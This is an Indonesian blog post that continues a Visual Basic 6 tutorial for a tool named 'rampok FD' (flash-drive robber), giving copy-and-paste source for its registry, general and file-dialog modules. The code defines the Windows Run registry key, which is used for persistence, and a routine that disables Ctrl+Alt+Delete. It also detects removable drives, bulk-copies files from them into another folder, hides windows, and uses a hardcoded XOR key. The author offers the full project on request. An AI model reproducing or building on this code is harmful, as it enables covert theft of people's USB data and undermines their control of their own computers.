Lanjutan source code rampok
Posted OnAkhirnya ramadhan hari perdana udah kita lalui, ni hari yang kedua. pada hari ini akan aku teruskan pembuatan program rampok FD yang kemarin adalah source code untuk form1 dan form 2, sekarang kita akan membuat atau menuliskan code untuk module1, module2 dan usercontrol1.
oke ga usah basa basi langsung aja ya....
Berikut source code untuk module1 atau aku sebut modRegistry
Public Const HKEY_LOCAL_ROOT = &H80000000
Public Const HKEY_LOCAL_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const Tempat = HKEY_LOCAL_MACHINE
Public Const SubTempat = "Software\Mr_Hack\AwasRampok"
Public Const SubRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const KEY_ALL_ACCESS = _
        KEY_QUERY_VALUE + KEY_SET_VALUE + _
        KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
        KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
                   
'Tipe Reg Key ROOT ...
Public Const ERROR_SUCCESS = 0
Public Const REG_SZ = 1     ' Unicode nul terminated string
Public Const REG_DWORD = 4  ' 32-bit number
Private Declare Function RegOpenKeyEx Lib _
       "advapi32" Alias "RegOpenKeyExA" _
       (ByVal hKey As Long, ByVal lpSubKey As String, _
       ByVal ulOptions As Long, ByVal samDesired As Long, _
       ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
       "advapi32" Alias "RegQueryValueExA" _
       (ByVal hKey As Long, ByVal lpValueName As String, _
       ByVal lpReserved As Long, ByRef lpType As Long, _
       ByVal lpData As String, ByRef lpcbData As Long) _
       As Long
Declare Function RegCreateKey Lib _
       "advapi32.dll" Alias "RegCreateKeyA" _
       (ByVal hKey As Long, ByVal lpSubKey As _
       String, phkResult As Long) As Long
Declare Function RegCloseKey Lib _
       "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegSetValueEx Lib _
       "advapi32.dll" Alias "RegSetValueExA" _
       (ByVal hKey As Long, ByVal _
       lpValueName As String, ByVal _
       Reserved As Long, ByVal dwType _
       As Long, lpData As Any, ByVal _
cbData As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Code, DataString, Temp As String
Public PathDatabase As String
Public Sub SimpanReg(hKey As Long, strPath As String, _
strValue As String, strData As String)
Dim KeyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, KeyHand)
r = RegSetValueEx(KeyHand, strValue, 0, _
REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(KeyHand)
End Sub
Public Sub BacaReg(hKey As Long, strPath As String, strValue As String, strData As String)
On Error GoTo Error
Dim Data As Long
Data = GetKeyValue(hKey, _
          strPath, strValue, strData)
Exit Sub
Error:
 MsgBox "Tidak ada informasi Registry", _
        vbInformation, "NIHIL"
End Sub
Public Function GetKeyValue(KeyRoot As Long, _
                           KeyName As String, _
                           SubKeyRef As String, _
                           ByRef KeyVal As String) _
                           As Boolean
   Dim i As Long           ' Counter untuk looping
   Dim rc As Long          ' Code pengembalian
   Dim hKey As Long        ' Penanganan membuka Registry Key
   Dim hDepth As Long      '
   Dim KeyValType As Long  ' Tipe Data sebuah Registry Key
   Dim tmpVal As String    ' Penyimpanan sementara nilai Registry Key
   Dim KeyValSize As Long  ' Ukuran variabel Registry Key
   rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey)
   If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
   tmpVal = String$(1024, 0)
   KeyValSize = 1024
   rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
                        KeyValType, tmpVal, KeyValSize)
   If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
   If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
       tmpVal = Left(tmpVal, KeyValSize - 1)
   Else
       tmpVal = Left(tmpVal, KeyValSize)
   End If
   Select Case KeyValType  ' Cari tipe data...
   Case REG_SZ             ' Tipe data string Registry Key
       KeyVal = tmpVal     ' Copy nilai String
   Case REG_DWORD          ' Tipe data Double Word Registry Key
       For i = Len(tmpVal) To 1 Step -1
           KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
       Next
       KeyVal = Format$("&h" + KeyVal)
   End Select
   GetKeyValue = True      ' Pengembalian sukses
   rc = RegCloseKey(hKey)  ' Tutup Registry Key
   Exit Function           ' Keluar dari fungsi
GetKeyError:                ' Bersihkan memori jika terjadi error...
   KeyVal = ""             ' Set Return Val ke string kosong
   GetKeyValue = False     ' Pengembalian gagal
   rc = RegCloseKey(hKey)  ' Tutup Registry Key
End Function
Public Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
   X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub
setelah module 1 ni untuk module2 aku sebut modGeneral
'File
Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
'Path
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnID As NOTIFYICONDATA) As Boolean
Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
Public Type FILETIME
       dwLowDateTime As Long
       dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
       dwFileAttributes As Long
       ftCreationTime As FILETIME
       ftLastAccessTime As FILETIME
       ftLastWriteTime As FILETIME
       nFileSizeHigh As Long
       nFileSizeLow As Long
       dwReserved0 As Long
       dwReserved1 As Long
       cFileName As String * MAX_PATH
       cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
       hwnd As Long
       wFunc As Long
       pFrom As String
       pTo As String
       fFlags As Integer
       fAnyOperationsAborted As Long
       hNameMappings As Long
       lpszProgressTitle As String
End Type
Public Type OSVERSIONINFO
       dwOSVersionInfoSize As Long
       dwMajorVersion As Long
       dwMinorVersion As Long
       dwBuildNumber As Long
       dwPlatformId As Long
       szCSDVersion As String * 128
End Type
Public Type LUID
   LowPart As Long
   HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
       pLuid As LUID
       Attributes As Long
End Type
Public Type SHITEMID
   cb As Long
   abID As Byte
End Type
Public Type ITEMIDLIST
   mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
   nLength As Long
   lpSecurityDescriptor As Long
   bInheritHandle As Long
End Type
Public Type NOTIFYICONDATA
   cbSize As Long
   hwnd As Long
   uId As Long
   uFlags As Long
   uCallBackMessage As Long
   hIcon As Long
   szTip As String * 64
End Type
Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201     'Button down kiri.
Public Const WM_LBUTTONUP = &H202       'Button up kiri.
Public Const WM_LBUTTONDBLCLK = &H203   'Double-click.
Public Const WM_RBUTTONDOWN = &H204     'Button down kanan.
Public Const WM_RBUTTONUP = &H205       'Button up kanan.
Public Const WM_RBUTTONDBLCLK = &H206   'Double-click.
Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String
Sub Translate()  'Encrypt/Decrypt Password
Dim i As Integer
Dim lokasi As Integer
Code = "1234567890" 'Ini kode/kunci utk melakukan encrypt/decrypt
 Temp$ = ""
 For i% = 1 To Len(DataString)
     lokasi% = (i% Mod Len(Code)) + 1
     'Gunakan logika XOR utk kombinasi encrypt/decrypt
     Temp$ = Temp$ + Chr$(Asc(Mid$(DataString, i%, 1)) Xor _
     Asc(Mid$(Code, lokasi%, 1)))
 Next i%
End Sub
Public Function CariDrive() As String
   Dim ictr As Integer
   Dim sDrive As String
   sDrive = ""
   For ictr = 66 To 90
       sDrive = Chr(ictr) & ":\"
       If GetDriveType(sDrive) = 2 Then
           CariDrive = CariDrive & sDrive
       End If
   Next
End Function
Public Function IdentifikasiDrive() As Boolean
   Dim ictr As Integer
   Dim sDrive As String
   Dim Tempatnya As String
   Dim AA As String
   Dim BB As Integer
   sDrive = ""
   For ictr = 66 To 90
       sDrive = Chr(ictr) & ":\"
       If GetDriveType(sDrive) = 2 Then
           Tempatnya = Tempatnya & sDrive
       End If
   Next
   AA = Tempatnya
   BB = Len(Trim(AA))
   If BB >= 0 Then
       IdentifikasiDrive = True
   Else
       IdentifikasiDrive = False
   End If
End Function
Public Function CopyFiles(sSourcePath As String, sDestination As String, sFiles As String) As Long
Dim WFD As WIN32_FIND_DATA
Dim SA As SECURITY_ATTRIBUTES
Dim r As Long
Dim hFile As Long
Dim bNext As Long
Dim copied As Long
Dim currFile As String
On Error Resume Next
r = CreateDirectory(sDestination, SA)
hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If hFile Then
Do
currFile = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)))
r = CopyFile(sSourcePath & currFile, sDestination & currFile, False)
copied = copied + 1
bNext = FindNextFile(hFile, WFD)
Loop Until bNext = 0
End If
r = FindClose(hFile)
CopyFiles = copied
End Function
Public Sub BuatFolder(Foldere As String)
Dim SA As SECURITY_ATTRIBUTES
Dim Buat As Long
Buat = CreateDirectory(Foldere, SA)
End Sub
udah selesai Copas-nya kalau udah ni yang terakhir yaitu usercontrol1 aku sebut CommonDialog untuk membuka file
Option Explicit
Private Declare Function GetOpenFileName Lib _
   "COMDLG32.DLL" Alias "GetOpenFileNameA" _
   (pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib _
   "COMDLG32.DLL" Alias "GetSaveFileNameA" _
   (pOpenfilename As OPENFILENAME) As Long
Private cdlg As OPENFILENAME
Private LastFileName As String
Private Type OPENFILENAME
 lStructSize As Long
 hwndOwner As Long
 hInstance As Long
 lpstrFilter As String
 lpstrCustomFilter As String
 nMaxCustFilter As Long
 nFilterIndex As Long
 lpstrFile As String
 nMaxFile As Long
 lpstrFileTitle As String
 nMaxFileTitle As Long
 lpstrInitialDir As String
 lpstrTitle As String
 Flags As Long
 nFileOffset As Integer
 nFileExtension As Integer
 lpstrDefExt As String
 lCustData As Long
 lpfnHook As Long
 lpTemplateName As String
End Type
Private Const OFN_ALLOWMULTISELECT = &H200
Private Const OFN_CREATEPROMPT = &H2000
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_ENABLETEMPLATEHANDLE = &H80
Private Const OFN_EXPLORER = &H80000
Private Const OFN_EXTENSIONDIFFERENT = &H400
Private Const OFN_FILEMUSTEXIST = &H1000
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_LONGNAMES = &H200000
Private Const OFN_NOCHANGEDIR = &H8
Private Const OFN_NODEREFERENCELINKS = &H100000
Private Const OFN_NOLONGNAMES = &H40000
Private Const OFN_NONETWORKBUTTON = &H20000
Private Const OFN_NOREADONLYRETURN = &H8000
Private Const OFN_NOTESTFILECREATE = &H10000
Private Const OFN_NOVALIDATE = &H100
Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_READONLY = &H1
Private Const OFN_SHAREAWARE = &H4000
Private Const OFN_SHAREFALLTHROUGH = 2
Private Const OFN_SHARENOWARN = 1
Private Const OFN_SHAREWARN = 0
Private Const OFN_SHOWHELP = &H10
Public Enum DialogFlags
 ALLOWMULTISELECT = OFN_ALLOWMULTISELECT
 CREATEPROMPT = OFN_CREATEPROMPT
 ENABLEHOOK = OFN_ENABLEHOOK
 ENABLETEMPLATE = OFN_ENABLETEMPLATE
 ENABLETEMPLATEHANDLE = OFN_ENABLETEMPLATEHANDLE
 EXPLORER = OFN_EXPLORER
 EXTENSIONDIFFERENT = OFN_EXTENSIONDIFFERENT
 FILEMUSTEXIST = OFN_FILEMUSTEXIST
 HIDEREADONLY = OFN_HIDEREADONLY
 LONGNAMES = OFN_LONGNAMES
 NOCHANGEDIR = OFN_NOCHANGEDIR
 NODEREFERENCELINKS = OFN_NODEREFERENCELINKS
 NOLONGNAMES = OFN_NOLONGNAMES
 NONETWORKBUTTON = OFN_NONETWORKBUTTON
 NOREADONLYRETURN = OFN_NOREADONLYRETURN
 NOTESTFILECREATE = OFN_NOTESTFILECREATE
 NOVALIDATE = OFN_NOVALIDATE
 OVERWRITEPROMPT = OFN_OVERWRITEPROMPT
 PATHMUSTEXIST = OFN_PATHMUSTEXIST
 ReadOnly = OFN_READONLY
 SHAREAWARE = OFN_SHAREAWARE
 SHAREFALLTHROUGH = OFN_SHAREFALLTHROUGH
 SHARENOWARN = OFN_SHARENOWARN
 SHAREWARN = OFN_SHAREWARN
 ShowHelp = OFN_SHOWHELP
End Enum
Private CFm_CancelError As Boolean
Private CFm_DialogTitle As String
Private CFm_DefaultExt As String
Private CFm_FileName As String
Private CFm_FileTitle As String
Private CFm_Filter As String
Private CFm_Flags As DialogFlags
Private CFm_InitDir As String
Public Property Get CancelError() As Boolean
  
   CancelError = CFm_CancelError
  
End Property
Public Property Let CancelError(PropVal As Boolean)
  
   CFm_CancelError = PropVal
  
End Property
Public Property Get DialogTitle() As String
  
   DialogTitle = CFm_DialogTitle
  
End Property
Public Property Let DialogTitle(PropVal As String)
  
   CFm_DialogTitle = PropVal
  
End Property
Public Property Get DefaultExt() As String
  
   DefaultExt = CFm_DefaultExt
  
End Property
Public Property Let DefaultExt(PropVal As String)
  
   CFm_DefaultExt = PropVal
  
End Property
Public Property Get FileName() As String
  
   FileName = CFm_FileName
  
End Property
Public Property Let FileName(PropVal As String)
  
   CFm_FileName = PropVal
  
End Property
Public Property Get FileTitle() As String
  
   FileTitle = CFm_FileTitle
  
End Property
Public Property Let FileTitle(PropVal As String)
  
   CFm_FileTitle = PropVal
  
End Property
Public Property Get Filter() As String
  
   Filter = CFm_Filter
  
End Property
Public Property Let Filter(PropVal As String)
  
   CFm_Filter = PropVal
  
End Property
Public Property Get Flags() As DialogFlags
  
   Flags = CFm_Flags
  
End Property
Public Property Let Flags(PropVal As DialogFlags)
  
   CFm_Flags = PropVal
  
End Property
Public Property Get InitDir() As String
  
   InitDir = CFm_InitDir
  
End Property
Public Property Let InitDir(PropVal As String)
  
   CFm_InitDir = PropVal
  
End Property
Private Sub UserControl_Initialize()
  
   UserControl.Height = 32 * 15
   UserControl.Width = 32 * 15
  
End Sub
Private Sub UserControl_Resize()
  
   UserControl.Height = 32 * 15
   UserControl.Width = 32 * 15
  
End Sub
Public Sub ShowOpen()
 Dim i As Integer
 Dim flt As String, idir As String, trez As String
 flt = Replace(Filter, "|", Chr(0))
 If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
   "|", Chr(0))
 If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
 If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir
 cdlg.hwndOwner = UserControl.Parent.hwnd
 cdlg.hInstance = App.hInstance
 cdlg.lpstrFilter = flt
 cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
   Chr(0))
 cdlg.nMaxFile = 256
 cdlg.lpstrFileTitle = String(255, Chr(0))
 cdlg.nMaxFileTitle = 256
 cdlg.lpstrInitialDir = idir
 cdlg.lpstrTitle = DialogTitle
 cdlg.Flags = Flags
 cdlg.lStructSize = Len(cdlg)
 trez = IIf(GetOpenFileName(cdlg), Trim(cdlg.lpstrFile), "")
 If Len(trez) > 0 Then FileName = trez: FileTitle = _
   cdlg.lpstrFileTitle Else If CancelError Then _
   Err.Raise -1, "CDL control", "Cancel"
  
End Sub
Public Sub ShowSave()
 Dim i As Integer
 Dim flt As String, idir As String, trez As String
 flt = Replace(Filter, "|", Chr(0))
 If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
   "|", Chr(0))
 If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
 If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir
 cdlg.hwndOwner = UserControl.Parent.hwnd
 cdlg.hInstance = App.hInstance
 cdlg.lpstrFilter = flt
 cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
   Chr(0))
 cdlg.nMaxFile = 256
 cdlg.lpstrFileTitle = String(255, Chr(0))
 cdlg.nMaxFileTitle = 256
 cdlg.lpstrInitialDir = idir
 cdlg.lpstrTitle = DialogTitle
 cdlg.Flags = Flags
 cdlg.lStructSize = Len(cdlg)
 trez = IIf(GetSaveFileName(cdlg), Trim(cdlg.lpstrFile), "")
 If Len(trez) > 0 Then FileName = trez: FileTitle = _
   cdlg.lpstrFileTitle Else If CancelError Then _
   Err.Raise -1, "CDL control", "Cancel"
  
End Sub
sekian dulu source code rampok FD-nya.
ni tampilan untuk form1
yang ni gambar untuk form2
kalau mau projetnya email saya ya atau YM-an juga bisa.
Posting Komentar